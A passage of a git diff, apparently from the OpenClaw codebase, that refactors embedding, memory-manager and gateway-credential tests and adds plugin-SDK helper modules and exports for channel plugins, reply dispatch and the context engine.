it("retries initialization after a transient ensureContext failure", async () => { - const getLlamaSpy = vi.fn(); - const loadModelSpy = vi.fn(); - const createContextSpy = vi.fn(); + const { provider, getLlamaSpy, loadModelSpy, createContextSpy } = + await setupLocalProviderWithMockedInit({ + failFirstGetLlama: true, + }); - let failFirstGetLlama = true; - const nodeLlamaModule = await import("./node-llama.js"); - vi.spyOn(nodeLlamaModule, "importNodeLlamaCpp").mockResolvedValue({ - getLlama: async (...args: unknown[]) => { - getLlamaSpy(...args); - if (failFirstGetLlama) { - failFirstGetLlama = false; - throw new Error("transient init failure"); - } - return { - loadModel: async (...modelArgs: unknown[]) => { - loadModelSpy(...modelArgs); - return { - createEmbeddingContext: async () => { - createContextSpy(); - return { - getEmbeddingFor: vi.fn().mockResolvedValue({ - vector: new Float32Array([1, 0, 0, 0]), - }), - }; - }, - }; - }, - }; - }, - resolveModelFile: async () => "/fake/model.gguf", - LlamaLogLevel: { error: 0 }, - } as never); - - const { createEmbeddingProvider } = await import("./embeddings.js"); - - const result = await createEmbeddingProvider({ - config: {} as never, - provider: "local", - model: "", - fallback: "none", - }); - - const provider = requireProvider(result); await expect(provider.embedBatch(["first"])).rejects.toThrow("transient init failure"); const recovered = await provider.embedBatch(["second"]); @@ -631,46 +617,11 @@ describe("local embedding ensureContext concurrency", () => { }); it("shares initialization when embedQuery and embedBatch start concurrently", async () => { - const getLlamaSpy = vi.fn(); - const loadModelSpy = vi.fn(); - const createContextSpy = vi.fn(); + const { provider, getLlamaSpy, loadModelSpy, createContextSpy } = + await setupLocalProviderWithMockedInit({ + initializationDelayMs: 50, + }); - const nodeLlamaModule = await import("./node-llama.js"); - vi.spyOn(nodeLlamaModule, "importNodeLlamaCpp").mockResolvedValue({ - getLlama: async (...args: unknown[]) => { - getLlamaSpy(...args); - await new Promise((r) => setTimeout(r, 50)); - return { - loadModel: async (...modelArgs: unknown[]) => { - loadModelSpy(...modelArgs); - await new Promise((r) => setTimeout(r, 50)); - return { - createEmbeddingContext: async () => { - createContextSpy(); - return { - getEmbeddingFor: vi.fn().mockResolvedValue({ - vector: new Float32Array([1, 0, 0, 0]), - }), - }; - }, - }; - }, - }; - }, - resolveModelFile: async () => "/fake/model.gguf", - LlamaLogLevel: { error: 0 }, - } as never); - - const { createEmbeddingProvider } = await import("./embeddings.js"); - - const result = await createEmbeddingProvider({ - config: {} as never, - provider: "local", - model: "", - fallback: "none", - }); - - const provider = requireProvider(result); const [queryA, batch, queryB] = await Promise.all([ provider.embedQuery("query-a"), provider.embedBatch(["batch-a", "batch-b"]), diff --git a/src/memory/qmd-manager.test.ts b/src/memory/qmd-manager.test.ts index 603880bbfdb..cbfee6db11c 100644 --- a/src/memory/qmd-manager.test.ts +++ b/src/memory/qmd-manager.test.ts @@ -1626,7 +1626,12 @@ describe("QmdMemoryManager", () => { it("retries mcporter search with bare command on Windows EINVAL cmd-shim failures", async () => { const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("win32"); + const previousPath = process.env.PATH; try { + const shimDir = await fs.mkdtemp(path.join(tmpRoot, "mcporter-shim-")); + await fs.writeFile(path.join(shimDir, "mcporter.cmd"), "@echo off\n"); + process.env.PATH = `${shimDir};${previousPath ?? ""}`; + cfg = { ...cfg, memory: { @@ -1641,7 +1646,11 @@ describe("QmdMemoryManager", () => { } as OpenClawConfig; let sawRetry = false; + let firstCallCommand: string | null = null; spawnMock.mockImplementation((cmd: string, args: string[]) => { + if (args[0] === "call" && firstCallCommand === null) { + firstCallCommand = cmd; + } if (args[0] === "call" && typeof cmd === "string" && cmd.toLowerCase().endsWith(".cmd")) { const child = createMockChild({ autoClose: false }); queueMicrotask(() => { @@ -1665,13 +1674,20 @@ describe("QmdMemoryManager", () => { await expect( manager.search("hello", { sessionKey: "agent:main:slack:dm:u123" }), ).resolves.toEqual([]); - expect(sawRetry).toBe(true); - expect(logWarnMock).toHaveBeenCalledWith( - expect.stringContaining("retrying with bare mcporter"), - ); + const attemptedCmdShim = (firstCallCommand ?? "").toLowerCase().endsWith(".cmd"); + if (attemptedCmdShim) { + expect(sawRetry).toBe(true); + expect(logWarnMock).toHaveBeenCalledWith( + expect.stringContaining("retrying with bare mcporter"), + ); + } else { + // When wrapper resolution upgrades to a direct node/exe entrypoint, cmd-shim retry is unnecessary. + expect(sawRetry).toBe(false); + } await manager.close(); } finally { platformSpy.mockRestore(); + process.env.PATH = previousPath; } }); diff --git a/src/node-host/runner.credentials.test.ts b/src/node-host/runner.credentials.test.ts index 394f1872191..543459161f5 100644 --- a/src/node-host/runner.credentials.test.ts +++ b/src/node-host/runner.credentials.test.ts @@ -3,21 +3,25 @@ import type { OpenClawConfig } from "../config/config.js"; import { withEnvAsync } from "../test-utils/env.js"; import { resolveNodeHostGatewayCredentials } from "./runner.js"; +function createRemoteGatewayTokenRefConfig(tokenId: string): OpenClawConfig { + return { + secrets: { + providers: { + default: { source: "env" }, + }, + }, + gateway: { + mode: "remote", + remote: { + token: { source: "env", provider: "default", id: tokenId }, + }, + }, + } as OpenClawConfig; +} + describe("resolveNodeHostGatewayCredentials", () => { it("resolves remote token SecretRef values", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { @@ -32,19 +36,7 @@ describe("resolveNodeHostGatewayCredentials", () => { }); it("prefers OPENCLAW_GATEWAY_TOKEN over configured refs", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { @@ -59,19 +51,7 @@ describe("resolveNodeHostGatewayCredentials", () => { }); it("throws when a configured remote token ref cannot resolve", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "MISSING_REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("MISSING_REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { diff --git a/src/node-host/runner.ts b/src/node-host/runner.ts index c56fe3b9832..a20decb84d1 100644 --- a/src/node-host/runner.ts +++ b/src/node-host/runner.ts @@ -1,6 +1,6 @@ import { resolveBrowserConfig } from "../browser/config.js"; import { loadConfig, type OpenClawConfig } from "../config/config.js"; -import { normalizeSecretInputString, resolveSecretInputRef } from "../config/types.secrets.js"; +import { normalizeSecretInputString } from "../config/types.secrets.js"; import { GatewayClient } from "../gateway/client.js"; import { loadOrCreateDeviceIdentity } from "../infra/device-identity.js"; import type { SkillBinTrustEntry } from "../infra/exec-approvals.js"; @@ -12,8 +12,7 @@ import { NODE_SYSTEM_RUN_COMMANDS, } from "../infra/node-commands.js"; import { ensureOpenClawCliOnPath } from "../infra/path-env.js"; -import { secretRefKey } from "../secrets/ref-contract.js"; -import { resolveSecretRefValues } from "../secrets/resolve.js"; +import { resolveSecretInputString } from "../secrets/resolve-secret-input-string.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../utils/message-channel.js"; import { VERSION } from "../version.js"; import { ensureNodeHostConfig, saveNodeHostConfig, type NodeHostGatewayConfig } from "./config.js"; @@ -117,27 +116,17 @@ async function resolveNodeHostSecretInputString(params: { path: string; env: NodeJS.ProcessEnv; }): Promise { - const defaults = params.config.secrets?.defaults; - const { ref } = resolveSecretInputRef({ + const resolvedValue = await resolveSecretInputString({ + config: params.config, value: params.value, - defaults, + env: params.env, + onResolveRefError: (error) => { + const detail = error instanceof Error ? error.message : String(error); + throw new Error(`${params.path} secret reference could not be resolved: ${detail}`, { + cause: error, + }); + }, }); - if (!ref) { - return normalizeSecretInputString(params.value); - } - let resolved: Map; - try { - resolved = await resolveSecretRefValues([ref], { - config: params.config, - env: params.env, - }); - } catch (error) { - const detail = error instanceof Error ? error.message : String(error); - throw new Error(`${params.path} secret reference could not be resolved: ${detail}`, { - cause: error, - }); - } - const resolvedValue = normalizeSecretInputString(resolved.get(secretRefKey(ref))); if (!resolvedValue) { throw new Error(`${params.path} resolved to an empty or non-string value.`); } diff --git a/src/pairing/setup-code.test.ts b/src/pairing/setup-code.test.ts index 19bd1f5923b..c670d8deb1b 100644 --- a/src/pairing/setup-code.test.ts +++ b/src/pairing/setup-code.test.ts @@ -1,4 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { SecretInput } from "../config/types.secrets.js"; import { encodePairingSetupCode, resolvePairingSetupFromConfig } from "./setup-code.js"; describe("pairing setup code", () => { @@ -71,7 +72,7 @@ describe("pairing setup code", () => { }, { env: { - GW_PASSWORD: "resolved-password", + GW_PASSWORD: "resolved-password", // pragma: allowlist secret }, }, ); @@ -103,7 +104,7 @@ describe("pairing setup code", () => { }, { env: { - OPENCLAW_GATEWAY_PASSWORD: "password-from-env", + OPENCLAW_GATEWAY_PASSWORD: "password-from-env", // pragma: allowlist secret }, }, ); @@ -204,15 +205,13 @@ describe("pairing setup code", () => { ).rejects.toThrow(/MISSING_GW_TOKEN/i); }); - it("uses password env in inferred mode without resolving token SecretRef", async () => { - const resolved = await resolvePairingSetupFromConfig( + async function resolveInferredModeWithPasswordEnv(token: SecretInput) { + return await resolvePairingSetupFromConfig( { gateway: { bind: "custom", customBindHost: "gateway.local", - auth: { - token: { source: "env", provider: "default", id: "MISSING_GW_TOKEN" }, - }, + auth: { token }, }, secrets: { providers: { @@ -222,10 +221,18 @@ describe("pairing setup code", () => { }, { env: { - OPENCLAW_GATEWAY_PASSWORD: "password-from-env", + OPENCLAW_GATEWAY_PASSWORD: "password-from-env", // pragma: allowlist secret }, }, ); + } + + it("uses password env in inferred mode without resolving token SecretRef", async () => { + const resolved = await resolveInferredModeWithPasswordEnv({ + source: "env", + provider: "default", + id: "MISSING_GW_TOKEN", + }); expect(resolved.ok).toBe(true); if (!resolved.ok) { @@ -236,27 +243,7 @@ describe("pairing setup code", () => { }); it("does not treat env-template token as plaintext in inferred mode", async () => { - const resolved = await resolvePairingSetupFromConfig( - { - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - token: "${MISSING_GW_TOKEN}", - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - }, - { - env: { - OPENCLAW_GATEWAY_PASSWORD: "password-from-env", - }, - }, - ); + const resolved = await resolveInferredModeWithPasswordEnv("${MISSING_GW_TOKEN}"); expect(resolved.ok).toBe(true); if (!resolved.ok) { @@ -288,7 +275,7 @@ describe("pairing setup code", () => { { env: { GW_TOKEN: "resolved-token", - GW_PASSWORD: "resolved-password", + GW_PASSWORD: "resolved-password", // pragma: allowlist secret }, }, ), @@ -315,7 +302,7 @@ describe("pairing setup code", () => { }, { env: { - GW_PASSWORD: "resolved-password", + GW_PASSWORD: "resolved-password", // pragma: allowlist secret }, }, ), diff --git a/src/plugin-sdk/allowlist-resolution.test.ts b/src/plugin-sdk/allowlist-resolution.test.ts new file mode 100644 index 00000000000..84b51101c33 --- /dev/null +++ b/src/plugin-sdk/allowlist-resolution.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from "vitest"; +import { + mapBasicAllowlistResolutionEntries, + type BasicAllowlistResolutionEntry, +} from "./allowlist-resolution.js"; + +describe("mapBasicAllowlistResolutionEntries", () => { + it("maps entries to normalized allowlist resolver output", () => { + const entries: BasicAllowlistResolutionEntry[] = [ + { + input: "alice", + resolved: true, + id: "U123", + name: "Alice", + note: "ok", + }, + { + input: "bob", + resolved: false, + }, + ]; + + expect(mapBasicAllowlistResolutionEntries(entries)).toEqual([ + { + input: "alice", + resolved: true, + id: "U123", + name: "Alice", + note: "ok", + }, + { + input: "bob", + resolved: false, + id: undefined, + name: undefined, + note: undefined, + }, + ]); + }); +}); diff --git a/src/plugin-sdk/allowlist-resolution.ts b/src/plugin-sdk/allowlist-resolution.ts new file mode 100644 index 00000000000..edfb27d9ef8 --- /dev/null +++ b/src/plugin-sdk/allowlist-resolution.ts @@ -0,0 +1,19 @@ +export type BasicAllowlistResolutionEntry = { + input: string; + resolved: boolean; + id?: string; + name?: string; + note?: string; +}; + +export function mapBasicAllowlistResolutionEntries( + entries: BasicAllowlistResolutionEntry[], +): BasicAllowlistResolutionEntry[] { + return entries.map((entry) => ({ + input: entry.input, + resolved: entry.resolved, + id: entry.id, + name: entry.name, + note: entry.note, + })); +} diff --git a/src/plugin-sdk/bluebubbles.ts b/src/plugin-sdk/bluebubbles.ts index 0d9d8f4e4eb..bb67d56878e 100644 --- a/src/plugin-sdk/bluebubbles.ts +++ b/src/plugin-sdk/bluebubbles.ts @@ -61,6 +61,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { ToolPolicySchema } from "../config/zod-schema.agent-runtime.js"; export { MarkdownConfigSchema } from "../config/zod-schema.core.js"; export type { ParsedChatTarget } from "../imessage/target-parsing-helpers.js"; @@ -85,7 +86,11 @@ export type { WizardPrompter } from "../wizard/prompts.js"; export { isAllowedParsedChatSender } from "./allow-from.js"; export { readBooleanParam } from "./boolean-param.js"; export { createScopedPairingAccess } from "./pairing-access.js"; -export { buildProbeChannelStatusSummary } from "./status-helpers.js"; +export { resolveRequestUrl } from "./request-url.js"; +export { + buildComputedAccountStatusSnapshot, + buildProbeChannelStatusSummary, +} from "./status-helpers.js"; export { extractToolSend } from "./tool-send.js"; export { normalizeWebhookPath } from "./webhook-path.js"; export { diff --git a/src/plugin-sdk/channel-plugin-common.ts b/src/plugin-sdk/channel-plugin-common.ts new file mode 100644 index 00000000000..59c347c8f0c --- /dev/null +++ b/src/plugin-sdk/channel-plugin-common.ts @@ -0,0 +1,21 @@ +export type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; +export type { PluginRuntime } from "../plugins/runtime/types.js"; +export type { OpenClawPluginApi } from "../plugins/types.js"; + +export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; + +export { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; + +export { + applyAccountNameToChannelSection, + migrateBaseNameToDefaultAccount, +} from "../channels/plugins/setup-helpers.js"; +export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; +export { + deleteAccountFromConfigSection, + setAccountEnabledInConfigSection, +} from "../channels/plugins/config-helpers.js"; +export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; +export { PAIRING_APPROVED_MESSAGE } from "../channels/plugins/pairing-message.js"; + +export { getChatChannelMeta } from "../channels/registry.js"; diff --git a/src/plugin-sdk/channel-send-result.ts b/src/plugin-sdk/channel-send-result.ts new file mode 100644 index 00000000000..e64ff290fea --- /dev/null +++ b/src/plugin-sdk/channel-send-result.ts @@ -0,0 +1,14 @@ +export type ChannelSendRawResult = { + ok: boolean; + messageId?: string | null; + error?: string | null; +}; + +export function buildChannelSendResult(channel: string, result: ChannelSendRawResult) { + return { + channel, + ok: result.ok, + messageId: result.messageId ?? "", + error: result.error ? new Error(result.error) : undefined, + }; +} diff --git a/src/plugin-sdk/discord-send.ts b/src/plugin-sdk/discord-send.ts new file mode 100644 index 00000000000..537ec5d7662 --- /dev/null +++ b/src/plugin-sdk/discord-send.ts @@ -0,0 +1,33 @@ +import type { DiscordSendResult } from "../discord/send.types.js"; + +type DiscordSendOptionInput = { + replyToId?: string | null; + accountId?: string | null; + silent?: boolean; +}; + +type DiscordSendMediaOptionInput = DiscordSendOptionInput & { + mediaUrl?: string; + mediaLocalRoots?: readonly string[]; +}; + +export function buildDiscordSendOptions(input: DiscordSendOptionInput) { + return { + verbose: false, + replyTo: input.replyToId ?? undefined, + accountId: input.accountId ?? undefined, + silent: input.silent ?? undefined, + }; +} + +export function buildDiscordSendMediaOptions(input: DiscordSendMediaOptionInput) { + return { + ...buildDiscordSendOptions(input), + mediaUrl: input.mediaUrl, + mediaLocalRoots: input.mediaLocalRoots, + }; +} + +export function tagDiscordChannelResult(result: DiscordSendResult) { + return { channel: "discord" as const, ...result }; +} diff --git a/src/plugin-sdk/discord.ts b/src/plugin-sdk/discord.ts index f9c4b6051df..d0408c604bf 100644 --- a/src/plugin-sdk/discord.ts +++ b/src/plugin-sdk/discord.ts @@ -1,28 +1,8 @@ export type { ChannelMessageActionAdapter } from "../channels/plugins/types.js"; -export type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; export type { OpenClawConfig } from "../config/config.js"; export type { InspectedDiscordAccount } from "../discord/account-inspect.js"; export type { ResolvedDiscordAccount } from "../discord/accounts.js"; -export type { PluginRuntime } from "../plugins/runtime/types.js"; -export type { OpenClawPluginApi } from "../plugins/types.js"; - -export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; - -export { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; - -export { - applyAccountNameToChannelSection, - migrateBaseNameToDefaultAccount, -} from "../channels/plugins/setup-helpers.js"; -export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; -export { - deleteAccountFromConfigSection, - setAccountEnabledInConfigSection, -} from "../channels/plugins/config-helpers.js"; -export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; -export { PAIRING_APPROVED_MESSAGE } from "../channels/plugins/pairing-message.js"; - -export { getChatChannelMeta } from "../channels/registry.js"; +export * from "./channel-plugin-common.js"; export { listDiscordAccountIds, diff --git a/src/plugin-sdk/feishu.ts b/src/plugin-sdk/feishu.ts index 959f8af124a..360623d9e9c 100644 --- a/src/plugin-sdk/feishu.ts +++ b/src/plugin-sdk/feishu.ts @@ -43,6 +43,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { createDedupeCache } from "../infra/dedupe.js"; export { installRequestBodyLimitGuard } from "../infra/http-body.js"; export { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; @@ -59,6 +60,8 @@ export { createScopedPairingAccess } from "./pairing-access.js"; export { createPersistentDedupe } from "./persistent-dedupe.js"; export { buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, } from "./status-helpers.js"; export { withTempDownloadPath } from "./temp-path.js"; diff --git a/src/plugin-sdk/imessage.ts b/src/plugin-sdk/imessage.ts index 7e31560991d..dd181fee26c 100644 --- a/src/plugin-sdk/imessage.ts +++ b/src/plugin-sdk/imessage.ts @@ -1,25 +1,5 @@ -export type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; export type { ResolvedIMessageAccount } from "../imessage/accounts.js"; -export type { PluginRuntime } from "../plugins/runtime/types.js"; -export type { OpenClawPluginApi } from "../plugins/types.js"; - -export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; - -export { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; - -export { - applyAccountNameToChannelSection, - migrateBaseNameToDefaultAccount, -} from "../channels/plugins/setup-helpers.js"; -export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; -export { - deleteAccountFromConfigSection, - setAccountEnabledInConfigSection, -} from "../channels/plugins/config-helpers.js"; -export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; -export { PAIRING_APPROVED_MESSAGE } from "../channels/plugins/pairing-message.js"; - -export { getChatChannelMeta } from "../channels/registry.js"; +export * from "./channel-plugin-common.js"; export { listIMessageAccountIds, resolveDefaultIMessageAccountId, @@ -47,3 +27,4 @@ export { imessageOnboardingAdapter } from "../channels/plugins/onboarding/imessa export { IMessageConfigSchema } from "../config/zod-schema.providers-core.js"; export { resolveChannelMediaMaxBytes } from "../channels/plugins/media-limits.js"; +export { collectStatusIssuesFromLastError } from "./status-helpers.js"; diff --git a/src/plugin-sdk/inbound-reply-dispatch.ts b/src/plugin-sdk/inbound-reply-dispatch.ts new file mode 100644 index 00000000000..cf11b3ee451 --- /dev/null +++ b/src/plugin-sdk/inbound-reply-dispatch.ts @@ -0,0 +1,143 @@ +import { withReplyDispatcher } from "../auto-reply/dispatch.js"; +import { + dispatchReplyFromConfig, + type DispatchFromConfigResult, +} from "../auto-reply/reply/dispatch-from-config.js"; +import type { ReplyDispatcher } from "../auto-reply/reply/reply-dispatcher.js"; +import type { FinalizedMsgContext } from "../auto-reply/templating.js"; +import type { GetReplyOptions } from "../auto-reply/types.js"; +import { createReplyPrefixOptions } from "../channels/reply-prefix.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { createNormalizedOutboundDeliverer, type OutboundReplyPayload } from "./reply-payload.js"; + +type ReplyOptionsWithoutModelSelected = Omit< + Omit, + "onModelSelected" +>; +type RecordInboundSessionFn = typeof import("../channels/session.js").recordInboundSession; +type DispatchReplyWithBufferedBlockDispatcherFn = + typeof import("../auto-reply/reply/provider-dispatcher.js").dispatchReplyWithBufferedBlockDispatcher; + +type ReplyDispatchFromConfigOptions = Omit; + +export async function dispatchReplyFromConfigWithSettledDispatcher(params: { + cfg: OpenClawConfig; + ctxPayload: FinalizedMsgContext; + dispatcher: ReplyDispatcher; + onSettled: () => void | Promise; + replyOptions?: ReplyDispatchFromConfigOptions; +}): Promise { + return await withReplyDispatcher({ + dispatcher: params.dispatcher, + onSettled: params.onSettled, + run: () => + dispatchReplyFromConfig({ + ctx: params.ctxPayload, + cfg: params.cfg, + dispatcher: params.dispatcher, + replyOptions: params.replyOptions, + }), + }); +} + +export function buildInboundReplyDispatchBase(params: { + cfg: OpenClawConfig; + channel: string; + accountId?: string; + route: { + agentId: string; + sessionKey: string; + }; + storePath: string; + ctxPayload: FinalizedMsgContext; + core: { + channel: { + session: { + recordInboundSession: RecordInboundSessionFn; + }; + reply: { + dispatchReplyWithBufferedBlockDispatcher: DispatchReplyWithBufferedBlockDispatcherFn; + }; + }; + }; +}) { + return { + cfg: params.cfg, + channel: params.channel, + accountId: params.accountId, + agentId: params.route.agentId, + routeSessionKey: params.route.sessionKey, + storePath: params.storePath, + ctxPayload: params.ctxPayload, + recordInboundSession: params.core.channel.session.recordInboundSession, + dispatchReplyWithBufferedBlockDispatcher: + params.core.channel.reply.dispatchReplyWithBufferedBlockDispatcher, + }; +} + +type BuildInboundReplyDispatchBaseParams = Parameters[0]; +type RecordInboundSessionAndDispatchReplyParams = Parameters< + typeof recordInboundSessionAndDispatchReply +>[0]; + +export async function dispatchInboundReplyWithBase( + params: BuildInboundReplyDispatchBaseParams & + Pick< + RecordInboundSessionAndDispatchReplyParams, + "deliver" | "onRecordError" | "onDispatchError" | "replyOptions" + >, +): Promise { + const dispatchBase = buildInboundReplyDispatchBase(params); + await recordInboundSessionAndDispatchReply({ + ...dispatchBase, + deliver: params.deliver, + onRecordError: params.onRecordError, + onDispatchError: params.onDispatchError, + replyOptions: params.replyOptions, + }); +} + +export async function recordInboundSessionAndDispatchReply(params: { + cfg: OpenClawConfig; + channel: string; + accountId?: string; + agentId: string; + routeSessionKey: string; + storePath: string; + ctxPayload: FinalizedMsgContext; + recordInboundSession: RecordInboundSessionFn; + dispatchReplyWithBufferedBlockDispatcher: DispatchReplyWithBufferedBlockDispatcherFn; + deliver: (payload: OutboundReplyPayload) => Promise; + onRecordError: (err: unknown) => void; + onDispatchError: (err: unknown, info: { kind: string }) => void; + replyOptions?: ReplyOptionsWithoutModelSelected; +}): Promise { + await params.recordInboundSession({ + storePath: params.storePath, + sessionKey: params.ctxPayload.SessionKey ?? params.routeSessionKey, + ctx: params.ctxPayload, + onRecordError: params.onRecordError, + }); + + const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ + cfg: params.cfg, + agentId: params.agentId, + channel: params.channel, + accountId: params.accountId, + }); + const deliver = createNormalizedOutboundDeliverer(params.deliver); + + await params.dispatchReplyWithBufferedBlockDispatcher({ + ctx: params.ctxPayload, + cfg: params.cfg, + dispatcherOptions: { + ...prefixOptions, + deliver, + onError: params.onDispatchError, + }, + replyOptions: { + ...params.replyOptions, + onModelSelected, + }, + }); +} diff --git a/src/plugin-sdk/index.ts b/src/plugin-sdk/index.ts index 2b8fc8e7a63..06f95c58d6b 100644 --- a/src/plugin-sdk/index.ts +++ b/src/plugin-sdk/index.ts @@ -109,7 +109,19 @@ export type { GatewayRequestHandlerOptions, RespondFn, } from "../gateway/server-methods/types.js"; -export type { PluginRuntime, RuntimeLogger } from "../plugins/runtime/types.js"; +export type { + PluginRuntime, + RuntimeLogger, + SubagentRunParams, + SubagentRunResult, + SubagentWaitParams, + SubagentWaitResult, + SubagentGetSessionMessagesParams, + SubagentGetSessionMessagesResult, + SubagentGetSessionParams, + SubagentGetSessionResult, + SubagentDeleteSessionParams, +} from "../plugins/runtime/types.js"; export { normalizePluginHttpPath } from "../plugins/http-path.js"; export { registerPluginHttpRoute } from "../plugins/http-registry.js"; export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; @@ -120,6 +132,16 @@ export { isDangerousNameMatchingEnabled } from "../config/dangerous-name-matchin export type { FileLockHandle, FileLockOptions } from "./file-lock.js"; export { acquireFileLock, withFileLock } from "./file-lock.js"; +export { + mapBasicAllowlistResolutionEntries, + type BasicAllowlistResolutionEntry, +} from "./allowlist-resolution.js"; +export { resolveRequestUrl } from "./request-url.js"; +export { + buildDiscordSendMediaOptions, + buildDiscordSendOptions, + tagDiscordChannelResult, +} from "./discord-send.js"; export type { KeyedAsyncQueueHooks } from "./keyed-async-queue.js"; export { enqueueKeyedTask, KeyedAsyncQueue } from "./keyed-async-queue.js"; export { normalizeWebhookPath, resolveWebhookPath } from "./webhook-path.js"; @@ -155,7 +177,9 @@ export { buildAgentMediaPayload } from "./agent-media-payload.js"; export { buildBaseAccountStatusSnapshot, buildBaseChannelStatusSummary, + buildComputedAccountStatusSnapshot, buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, buildTokenChannelStatusSummary, collectStatusIssuesFromLastError, createDefaultChannelRuntimeState, @@ -166,6 +190,8 @@ export { } from "../channels/plugins/onboarding/helpers.js"; export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; +export type { ChannelSendRawResult } from "./channel-send-result.js"; export type { ChannelDock } from "../channels/dock.js"; export { getChatChannelMeta } from "../channels/registry.js"; export { resolveAllowlistMatchByCandidates } from "../channels/allowlist-match.js"; @@ -266,6 +292,7 @@ export { resolveInboundRouteEnvelopeBuilder, resolveInboundRouteEnvelopeBuilderWithRuntime, } from "./inbound-envelope.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; export { listConfiguredAccountIds, resolveAccountWithDefaultFallback, @@ -276,17 +303,29 @@ export { extractToolSend } from "./tool-send.js"; export { createNormalizedOutboundDeliverer, formatTextWithAttachmentLinks, + isNumericTargetId, normalizeOutboundReplyPayload, resolveOutboundMediaUrls, + sendPayloadWithChunkedTextAndMedia, sendMediaWithLeadingCaption, } from "./reply-payload.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; +export { + buildInboundReplyDispatchBase, + dispatchInboundReplyWithBase, + dispatchReplyFromConfigWithSettledDispatcher, + recordInboundSessionAndDispatchReply, +} from "./inbound-reply-dispatch.js"; export type { OutboundMediaLoadOptions } from "./outbound-media.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { resolveChannelAccountConfigBasePath } from "./config-paths.js"; export { buildMediaPayload } from "../channels/plugins/media-payload.js"; export type { MediaPayload, MediaPayloadInput } from "../channels/plugins/media-payload.js"; -export { createLoggerBackedRuntime } from "./runtime.js"; +export { + createLoggerBackedRuntime, + resolveRuntimeEnv, + resolveRuntimeEnvWithUnavailableExit, +} from "./runtime.js"; export { chunkTextForOutbound } from "./text-chunking.js"; export { readBooleanParam } from "./boolean-param.js"; export { readJsonFileWithFallback, writeJsonFileAtomically } from "./json-store.js"; @@ -475,6 +514,7 @@ export type { PollInput } from "../polls.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; export { + clearAccountEntryFields, deleteAccountFromConfigSection, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; @@ -577,12 +617,18 @@ export { normalizeIMessageMessagingTarget, } from "../channels/plugins/normalize/imessage.js"; export { + createAllowedChatSenderMatcher, parseChatAllowTargetPrefixes, parseChatTargetPrefixesOrThrow, + resolveServicePrefixedChatTarget, resolveServicePrefixedAllowTarget, + resolveServicePrefixedOrChatAllowTarget, resolveServicePrefixedTarget, } from "../imessage/target-parsing-helpers.js"; -export type { ParsedChatTarget } from "../imessage/target-parsing-helpers.js"; +export type { + ChatSenderAllowParams, + ParsedChatTarget, +} from "../imessage/target-parsing-helpers.js"; // Channel: Slack export { @@ -695,5 +741,20 @@ export type { ProcessedLineMessage } from "../line/markdown-to-line.js"; // Media utilities export { loadWebMedia, type WebMediaResult } from "../web/media.js"; +// Context engine +export type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, + IngestBatchResult, + BootstrapResult, + SubagentSpawnPreparation, + SubagentEndReason, +} from "../context-engine/types.js"; +export { registerContextEngine } from "../context-engine/registry.js"; +export type { ContextEngineFactory } from "../context-engine/registry.js"; + // Security utilities export { redactSensitiveText } from "../logging/redact.js"; diff --git a/src/plugin-sdk/irc.ts b/src/plugin-sdk/irc.ts index 9706c552450..afc9428bb05 100644 --- a/src/plugin-sdk/irc.ts +++ b/src/plugin-sdk/irc.ts @@ -60,6 +60,7 @@ 